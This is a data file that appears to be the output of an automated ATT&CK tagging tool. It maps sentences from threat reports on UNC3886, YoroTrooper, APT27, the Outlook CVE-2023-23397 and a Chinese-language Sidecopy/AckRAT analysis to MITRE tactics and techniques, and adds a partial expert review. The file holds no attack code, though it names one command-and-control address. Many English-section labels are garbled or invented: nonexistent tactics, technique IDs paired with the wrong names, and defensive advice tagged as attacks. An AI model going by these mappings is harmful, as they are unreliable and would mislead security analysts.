Of note a suspected Chinese hacking group UNC3886 has been linked to a series of attacks on government organizations exploiting a Fortinet zero-day vulnerability (CVE-2022-41328) to deploy malware.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Public-Facing Vulnerability'}]	1	[0]
FortiGate and FortiManager devices were compromised as well due to the connections to VIRTUALPITA from the Fortinet management IP addresses.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1210', 'technique': 'Exploit Client Software'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}]	2	[0]
In March 2023, Securonix Autonomous Threat Sweeper identified 3,839 TTPs and IOCs, 122 distinct threats, and reported 36 threat detections.	[{'taid': 'TA0006', 'tactic': 'Detection', 'tid': 'T1059', 'technique': 'Command-Line Interface'}, {'taid': 'TA0006', 'tactic': 'Detection', 'tid': 'T1106', 'technique': 'Execution through API'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data From Local System'}, {'taid': 'TA0006', 'tactic': 'Detection', 'tid': 'T1053', 'technique': 'Scheduled Task'}]	5	[]
The top data sources swept against include IDS/IPS/UTM/Threat Detection, Endpoint Management Systems, Data Loss Prevention, and Email/Email Security.	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}]	2	[]
Cyberespionage group APT27, also known as Iron Tiger, has created a new Linux version of its SysUpdate custom remote access malware,	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}, {'taid': 'TA0002', 'tactic':	3	[]

enabling more enterprise services to be targeted.	'Execution', 'tid': 'T1059', 'technique': 'Command-Line Interface'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API'}]		
A new cyber-espionage campaign targeting governments and energy agencies in Commonwealth of Independent States (CIS) countries has been carried out by the threat actor named 'YoroTrooper' since June 2022.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Link'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1030', 'technique': 'Data Transfer Size Limits'}]		[]
Several European embassies, the World Intellectual Property Organization (WIPO), and a key European Union healthcare agency have been compromised by the threat actor.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}]	2	[]
YoroTrooper uses a number of tools, including commodity and custom information stealers, remote access trojans, and Python-based malware.	[{'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1030', 'technique': 'Data Transfer Size Limits'}]	2	[0, 1]
The infection is transmitted via phishing emails containing decoy PDF documents and malicious LNK attachments.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
According to researchers, YoroTrooper exfiltrates large amounts of data from infected devices, including cookies and browsing history.	[{'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1020', 'technique': 'Automated Exfiltration'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1002', 'technique': 'Data Compressed'}]	3	[]
A gambling company in the Philippines was one of the victims of the Iron Tiger campaign, which used a command and control server with a domain similar to the victims.	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1563', 'technique': 'Domain Generation Algorithms'}, {'taid': 'TA0012', 'tactic': 'Lateral Movement', 'tid': 'T1490', 'technique': 'Domino'}]	2	[]
The YoroTrooper group used corrupt PDF files to target Belarusian entities in the summer of 2022.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[]
It registered several typosquatting domains mimicking Russian government entities in September 2022.	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1563', 'technique': 'Domain Generation Algorithms'}]	1	[]
Threat actors used HTA to download decoy documents and dropper implants onto target systems by deploying a custom Python stealer against the governments of Tajikistan and Uzbekistan in 2023.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1184', 'technique': 'Multi-Stage Channels'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1002', 'technique': 'Data Compressed'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Ingress Tool Transfer'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command-Line Interface'}]	8	[6]
Currently, malicious RAR and ZIP attachments are being used in phishing emails in connection with national strategy and diplomacy.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]

an unknown threat actor exploiting a security flaw in Fortinet FortiOS software	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Public-Facing Application'}]	1	[0]
This exploit demonstrates an advanced actor specifically targeting governmental or government-related targets.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}]	1	[]
FortiOS version 7.2.0 through 7.2.3	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[]
FortiOS version 7.0.0 through 7.0.9	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1083', 'technique': 'File and Directory Permissions Modification'}]	2	[]
FortiOS version 6.4.0 through 6.4.11	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	1	[]
FortiOS 6.2 all versions	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	1	[]
FortiOS 6.0 all versions	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	1	[]
suspected Chinese hacking group UNC3886, has been linked to a series of attacks on government organizations exploiting a Fortinet zero-day vulnerability (CVE-2022-41328) to deploy malware.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	1	[0]
Additionally, the FortiGate devices with Federal Information Processing Standards (FIPS) compliance mode enabled failed to boot after it was later rebooted.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}]	1	[]
Threat Labs observed threat actors using access via the FortiManager device	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1574', 'technique': 'Privilege Escalation via Exploitation of Named Kernel Vulnerability'}]	3	[]
Threat Labs observed cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1064', 'technique': 'Scripting'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[0]
Threat Labs learned that the threat actor uses a local zero-day vulnerability in FortiOS (CVE-2022-41328) and deploys multiple custom malware families on Fortinet and VMware systems	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1045', 'technique': 'Software Packing'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}]	4	[0]

Securonix Threat Labs is actively monitoring running campaigns by a suspected Chinese hacking group UNC3886 and other threat actors that are targeting government entities and large organizations.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	3	[]
Threat Labs observed threat actors using access via the FortiManager device	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1574', 'technique': 'Privilege Escalation via Exploitation of Named Kernel Vulnerability'}]	3	[]
Threat Labs observed cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1064', 'technique': 'Scripting'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[0]
Threat Labs learned that the threat actor uses a local zero-day vulnerability in FortiOS (CVE-2022-41328) and deploys multiple custom malware families on Fortinet and VMware systems	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1045', 'technique': 'Software Packing'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}]	4	[0]
Bitdefender confirmed that a phishing campaign uses a fake ChatGPT platform to swindle investors.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
In their analysis, researchers at G DATA have identified ChatGPT's real doppelganger, chatgpt-go[.]online.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1565', 'technique': 'Modify Web Session Cookie'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1557', 'technique': 'Man-in-the-Middle'}]	2	[]
However, users will see the same webpage on the fake website as they would on ChatGPT's official site. Moreover, its website uses HTTPS to ensure that users are communicating securely with the website's server by encrypting data traffic between their web browsers and the website's server.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1563', 'technique': 'Use Alternate Authentication Material'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1556', 'technique': 'Modify Registry'}]	2	[]
Securonix Threat Labs is actively monitoring running campaigns by threat actors / hackers that are targeting ChatGPT All.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	3	[]
CISA, FBI, and MS-ISAC issued a joint advisory reporting the attackers accessed the server between November 2022 and early January 2023 based on indicators of compromise (IoCs) on the unnamed federal civilian executive branch (FCEB) agency's network.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1205', 'technique': 'Port Scanning'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1210', 'technique': 'Exploits via SMB'}]	2	[]

It is believed that at least two threat actors (one of them the Vietnamese XE Group) exploited this bug CVE-2019-18935 (CVSS score: 9.8) to gain remote access to the unpatched server.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	1	[0]
Hackers compromised the FCEB agency's server and deployed malicious payloads in C:/Windows/Temp/ to collect data and transmit it to attacker-controlled command and control servers.	[{'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1005', 'technique': 'Data from Local System'}]	3	[1, 2]
Threat Labs observed a threat actor tracked as Praying Mantis (aka TG2021) has also weaponized CVE-2019-18935, along with CVE-2017-11317, to infiltrate U.S. public and private networks.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1189', 'technique': 'Drive-by Compromise'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1192', 'technique': 'Spearphishing Link'}]	3	[0]
Microsoft Office Outlook privilege escalation vulnerability(Originally published in March 2023)	[{'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1548', 'technique': 'Abuse Accessibility Features'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	2	[]
Microsoft has observed and announced a new high severity vulnerability with the code CVE-2023-23397 in Outlook for Windows that is being exploited to steal NTLM credentials.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1553', 'technique': 'Subvert Trust Controls'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'Credential Dumping'}]	2	[]
Researchers from ASEC have analyzed the Microsoft vulnerability in Outlook for Windows as well and confirms it is being exploited to steal NTLM credentials.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Link'}]	1	[]
CVE-2023-23397 is an elevation of privilege vulnerability in Microsoft Outlook.	[{'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1548', 'technique': 'Abuse Accessibility Features'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	2	[]
It is a zero-touch exploit that is a security gap that has low complexity and requires no user interaction.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}]	1	[]
In most cases, the attacker sends a message to the victim with an extended Message Application Program Interface (MAPI) property with a Universal Naming Convention (UNC) path to a remote attacker-controlled Server Message Block (SMB, via TCP 445).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]	3	[]
Securonix Threat Labs recommends leveraging our findings to deploy protective measures for increased threats from this malware.	[{'taid': 'TA0004', 'tactic': 'Collection', 'tid': 'T1530', 'technique': 'Data from Cloud Storage Object'}]	1	[]
Implement network segmentation and maintain offline backups of data to ensure limited interruption to your organization.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1498', 'technique': 'Network Denial of Service'}]	2	[]
Apply the vendor patches immediately. Microsoft has released a patch as part of their March 2023 Monthly Security Update.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1210', 'technique': 'Exploits via SMB'}]	1	[]

Block TCP 445/SMB outbound from your network.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1043', 'technique': 'Commonly Used Port'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1205', 'technique': 'Port Scanning'}]	2	[]
Customers can disable the WebClient service. Note that this will block all WebDAV connections, including intranet.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}]	1	[]
Add users to the Protected Users Security Group.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1069', 'technique': 'Permission Groups Discovery'}]	1	[]
Enforce SMB sign on for clients and servers to prevent a relay attack.	[{'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1214', 'technique': 'Credentials in Files'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1210', 'technique': 'Exploits via SMB'}]	2	[]
28 IOCs are available on our Threat Labs home page and have been swept against Autonomous Threat Sweeper customers.	[{'taid': 'TA004', 'tactic': 'Collection', 'tid': 'T1513', 'technique': 'Data from Local System'}]	1	[]
Tags: Vulnerability: Microsoft vulnerability CVE-2023-23397 in Outlook | Exploitation: steal NTLM credentials |Target areas: Government, transport, energy, and military sectors | Target location: Europe and Latin America.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1210', 'technique': 'Exploits via SMB'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1548', 'technique': 'Abuse Accessibility Features'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Link'}]	4	[]
For a full list of the search queries used on Autonomous Threat Sweeper for the threats detailed above, refer to our Threat Labs home page.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1560', 'technique': 'Archive Collected Data'}]	1	[]
The page also references a list of relevant policies used by threat actors.	[{'taid': 'TA0004', 'tactic': 'Collection', 'tid': 'T1539', 'technique': 'Steal Web Session Cookie'}]	1	[]
Please reach out to us at scia@securonix.com.	[{'taid': 'TA0007', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Command and Control Channel'}]	1	[]
Note: The TTPs when used in silo are prone to false positives and noise and should ideally be combined with other indicators mentioned.	[{'taid': 'TA0012', 'tactic': 'Impact', 'tid': 'T1497', 'technique': 'Virtual Private Server'}]	1	[]

Test Report 8 Sidecopy 组织使用新木马对印度展开攻击

URL: https://mp.weixin.qq.com/s/Lb_NYxhi9iJgmvI2wjY9qg

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
Sidecopy 主要以作为电子邮件附件的 ZIP 压缩包所包含 LNK 文件或 DOC 文件分发恶意软件。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}]	[['malware', 'Sidecopy']]	1	[0]
Sidecopy 组织主要对印度国防军和武装部人员进行大量的攻击，对印度政府和军事人员的进行情报收集行动，使用鱼叉钓鱼技术在印度的国防组织和其他政府组织中引诱受害者，或通过感染	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}]	[]	1	[0]

USB 设备来攻击印度和阿富汗的政府和军事组织。				
在此攻击活动中，攻击者主要以沙特阿拉伯代表团访印为诱饵，将下载器伪装为快捷方式文件并通过钓鱼邮件发送给受害者。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.005', 'technique': 'MOTW 绕过'}]	[]	2	[0, 1]
当受害者解压并执行诱饵文件之后，程序将会从远程服务器下载数据文件到本地并解密执行，最终加载远控软件 AckRAT。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[['malware', 'AckRAT']]	1	[0]
在威胁狩猎过程中，我们并未捕获到初始攻击载荷，结合压缩包文件，根据 Sidecopy 一贯的攻击手法来看，我们猜测初始攻击载荷应该是鱼叉攻击邮件，通过邮件中的附件诱骗受害者点击打开压缩包文件，并且点击其中的 lnk 文件。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566', 'technique': '钓鱼攻击'}]	[]	1	[0]
解压后包含隐藏文件夹 Adobe 和诱饵 lnk 文件，lnk 文件名翻译为“沙特代表团”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1564.001', 'technique': '隐藏文件和目录'}]	[]	1	[0]
对诱饵 lnk 文件进行分析，其使用系统的 mshta.exe 访问挂载在印度 Ssynergy 公司官网下的后续载荷执行。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1218.005', 'technique': 'mshta'}, {'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	2	[0, 1]
其页面挂载的文件为 delegation.hta，是 Sidecopy 惯用的 JS 脚本。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.007', 'technique': 'JS'}]	[]	1	[0]
delegation.hta 其主要功能是内存中加载 preBotHta.dll，并调用 preBotHta.dll 中的 PinkAgain 函数。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1574.002', 'technique': 'DLL 侧加载'}]	[]	1	[0]
PinkAgain 函数首先解密 JS 代码中嵌套的数据，释放诱饵 PDF 文件以迷惑受害者。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.007', 'technique': 'JS'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[['malware', 'PinkAga']]	2	[0, 1]
随后通过 JS 脚本传递的杀软信息来决定后续执行方式，但在当前版本中，不管是何种杀软都走同一个分支，解密传递的数据后释放并执行一个可执行文件。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
释放的 Trex.exe 伪装成 Trex 公司软件。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]

首先收集当前受害者信息，包括电脑名、用户名、杀软信息、系统版本等。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1082', 'technique': '系统信息发现'}]	[]	1	[0]
然后将收集到的信息发送至 C2：209.126.81.42，端口为 444，并解析 C2 返回的数据，当 C2 返回的数据大于 1 字节时，才会进入远控流程，否则一直循环，而实际调试过程中 C2 一直返回单字符'y'。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
获取指定路径下的所有文件和文件夹的名称，并将它们发送到指定的网络接收端	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
向 C2 发送三次'ack'后，接收 C2 返回的数据并写入文件但不执行	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
与指令'd'功能一致，区别在于向 C2 发送三次'ack'后，接收 C2 返回的数据写入文件并执行	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
删除指定文件或文件夹	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
上传 C2 指定路径下的文件	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
截屏并发送	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
其次 Sidecopy 保持从互联网上获取代码丰富自己 RAT 的风格，根据开源项目在新的 DetaRAT 中添加抓取浏览器密码的功能。	[{'taid': 'TA0006', 'tactic': '凭据访问', 'tid': 'T1555.003', 'technique': '从浏览器中获取凭证'}]	[]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
Sidecopy 主要以作为电子邮件附件的 ZIP 压缩包所包含 LNK 文件或 DOC 文件分发恶意软件。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}]	[['malware', 'Sidecopy']]	1	[0]
Sidecopy 组织主要对印度国防军和武装部人员进行大量的攻击，对印度政府和军事人员的进行情报收集行动，使用鱼叉钓鱼技术在印度的国防组织和其他政府组织中引诱受害者，或通过感染 USB 设备来攻击印度和阿富汗的政府和军事组织。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}]	[]	1	[]

在此攻击活动中，攻击者主要以沙特阿拉伯代表团访印为诱饵，将下载器伪装为快捷方式文件并通过钓鱼邮件发送给受害者。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566.001', 'technique': '鱼叉式钓鱼攻击附件'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1553.005', 'technique': 'MOTW 绕过'}]	[]	2	[0]
当受害者解压并执行诱饵文件之后，程序将会从远程服务器下载数据文件到本地并解密执行，最终加载远控软件 AckRAT。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[['malware', 'AckRAT']]	1	[0]
在威胁狩猎过程中，我们并未捕获到初始攻击载荷，结合压缩包文件，根据 Sidecopy 一贯的攻击手法来看，我们猜测初始攻击载荷应该是鱼叉攻击邮件，通过邮件中的附件诱骗受害者点击打开压缩包文件，并且点击其中的 lnk 文件。	[{'taid': 'TA0001', 'tactic': '初始访问', 'tid': 'T1566', 'technique': '钓鱼攻击'}]	[]	1	[0]
解压后包含隐藏文件夹 Adobe 和诱饵 lnk 文件，lnk 文件名翻译为“沙特代表团”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1564.001', 'technique': '隐藏文件和目录'}]	[]	1	[0]
对诱饵 lnk 文件进行分析，其使用系统的 mshta.exe 访问挂载在印度 Ssynergy 公司官网下的后续载荷执行。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1218.005', 'technique': 'mshta'}, {'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	2	[0, 1]
其页面挂载的文件为 delegation.hta，是 Sidecopy 惯用的 JS 脚本。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.007', 'technique': 'JS'}]	[]	1	[0]
delegation.hta 其主要功能是内存中加载 preBotHta.dll，并调用 preBotHta.dll 中的 PinkAgain 函数。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1574.002', 'technique': 'DLL 侧加载'}]	[]	1	[]
PinkAgain 函数首先解密 JS 代码中嵌套的数据，释放诱饵 PDF 文件以迷惑受害者。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.007', 'technique': 'JS'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[['malware', 'PinkAga']]	2	[0, 1]
随后通过 JS 脚本传递的杀软信息来决定后续执行方式，但在当前版本中，不管是何种杀软都走同一个分支，解密传递的数据后释放并执行一个可执行文件。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
释放的 Trex.exe 伪装成 Trex 公司软件。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
首先收集当前受害者信息，包括电脑名、用户名、杀软信息、系统版本等。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1082', 'technique': '系统信息发现'}]	[]	1	[0]

然后将收集到的信息发送至 C2：209.126.81.42，端口为 444，并解析 C2 返回的数据，当 C2 返回的数据大于 1 字节时，才会进入远控流程，否则一直循环，而实际调试过程中 C2 一直返回单字符'y'。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
获取指定路径下的所有文件和文件夹的名称，并将它们发送到指定的网络接收端	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
